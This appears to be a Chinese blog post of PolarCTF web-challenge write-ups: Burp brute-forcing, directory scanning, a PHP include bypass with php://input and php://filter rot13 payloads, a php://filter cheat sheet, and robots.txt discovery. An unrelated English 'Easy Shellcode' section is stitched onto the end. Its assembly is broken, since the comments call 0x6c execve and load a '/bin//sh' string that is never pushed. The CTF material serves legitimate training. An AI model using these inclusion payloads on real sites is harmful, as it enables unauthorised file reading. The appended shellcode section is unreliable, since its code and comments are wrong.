polarctf靶场【web】login、被黑掉的站、GET-POST、网站被黑、robots

[web]login

考点:sql查询,bp爆破

看源代码,发现有一串数字

用bp抓包爆破,然后发现了改变学号最后两位为02-11的时候会回显flag

添加数据之后点击开始攻击

[web]被黑掉的站

考点:目录扫描、bp爆破

界面无任何提示,dirsearch扫一下目录,发现了/index.php.bak还有shell.php,访问

发现.bak里面是一个字典

shell里面是一个登录界面

拿着这个字典去bp爆破

输入nikel的时候就会回显flag

[web]GET-POST

考点:GET传参和POST传参

看代码

?id=1

?id=1
post:
jljcxy=flag

​[web]网站被黑

base32解码

是一个子域

<?php
error_reporting(0);

$text = $_GET["text"];//get传参text
$file = $_GET["file"];//get传参file
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){//判断是否输入text参数,并且text参数的值要为welcome to the 504sys
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag|data|base|write|input/i",$file)){//file不能为flag|data|base|write|input,若为上述字符串则不能输入flag
        echo "I am sorry but no way!";
        exit(); 
    }else{
        include($file);  //imposible.php,这个为放着flag的文件
    }
}
else{
    highlight_file(__FILE__);
}
?>

text值要为特定值,还为file_get_contents函数,直接使用php://input伪协议赋予text特定值
接下来利用 $file参数读取imposible.php的内容,因为存在 include()函数,所以想到使用伪协议读取,但是这里过滤了base,无法使用base64编码的方法去读,考虑使用rot13编码去读
那么可以得到payload:

GET:?text=php://input&file=php://filter/read=string.rot13/resource=imposible.php
POST:welcome to the 504sys

php://filter伪协议用法

php://filter/resource=http://www.example.com        //没有进行任何过滤,直接读取
php://filter/read=string.toupper/resource=xxx.php    //对文件的内容进行大写转换后读取
php://filter/convert.base64-encode/resource=xxx.php        //对文件进行base64加密后读取
php://filter/read=string.toupper|string.rot13/resource=xxx.php    //对文件的内容进行大写转换后并使用rot13加密后读取
php://filter/write=string.rot13/resource=example.txt","Hello World  
//这会通过 rot13 过滤器筛选出字符 "Hello World",然后写入当前目录下的 example.txt
php://filter/read=string.rot13/resource=hello.php
php://filter/string.rot13/resource=imposible.php

rot13解码

[web]robots

考点:敏感文件

根据题目以及进题的提示,应该是robots协议

进/robots.txt访问一下

发现了/fl0g.php,再将其访问,便可得到flag

robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。

简单的理解:robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。

主流的搜索引擎都会遵守robots协议。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。

robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。

robots文件必须要存放在网站的根目录下。也就是 域名/robots.txt 是可以访问文件的。你们也可以尝试访问别人网站的robots文件。 输入域名/robots.txt 即可访问。

### PolarCTF Easy Shellcode Challenge Walkthrough In the context of CTF challenges, particularly within PolarCTF’s Easy Shellcode challenge, participants are often tasked with crafting a simple shellcode that performs specific actions without using certain characters or instructions to increase difficulty[^1]. The goal typically involves creating an executable code snippet that can bypass restrictions and achieve objectives such as spawning a shell. For this particular challenge, contestants need to understand assembly language fundamentals along with how operating systems handle memory execution permissions. A common approach is to write minimalistic inline assembly codes which avoid bad chars (characters not allowed by filters). This requires deep knowledge about system calls on Linux environments since most challenges occur there[^2]. To solve similar problems effectively: - Study basic principles behind writing position-independent shellcodes. - Learn techniques like encoding payloads to evade detection mechanisms. - Practice debugging skills through tools like GDB for analyzing binary behaviors during runtime. ```nasm section .text global _start _start: xor eax, eax ; Clearing registers push eax ; Push NULL bytes onto stack mov al, 0x6c ; syscall number for execve(/bin/sh) lea ebx, [esp] ; Load address of "/bin//sh" int 0x80 ; Trigger interrupt to invoke kernel function call ``` This example demonstrates part of what might be involved when tackling these types of tasks but should only serve educational purposes rather than being directly applicable due to variations between different instances of challenges[^3].
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒排骨

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值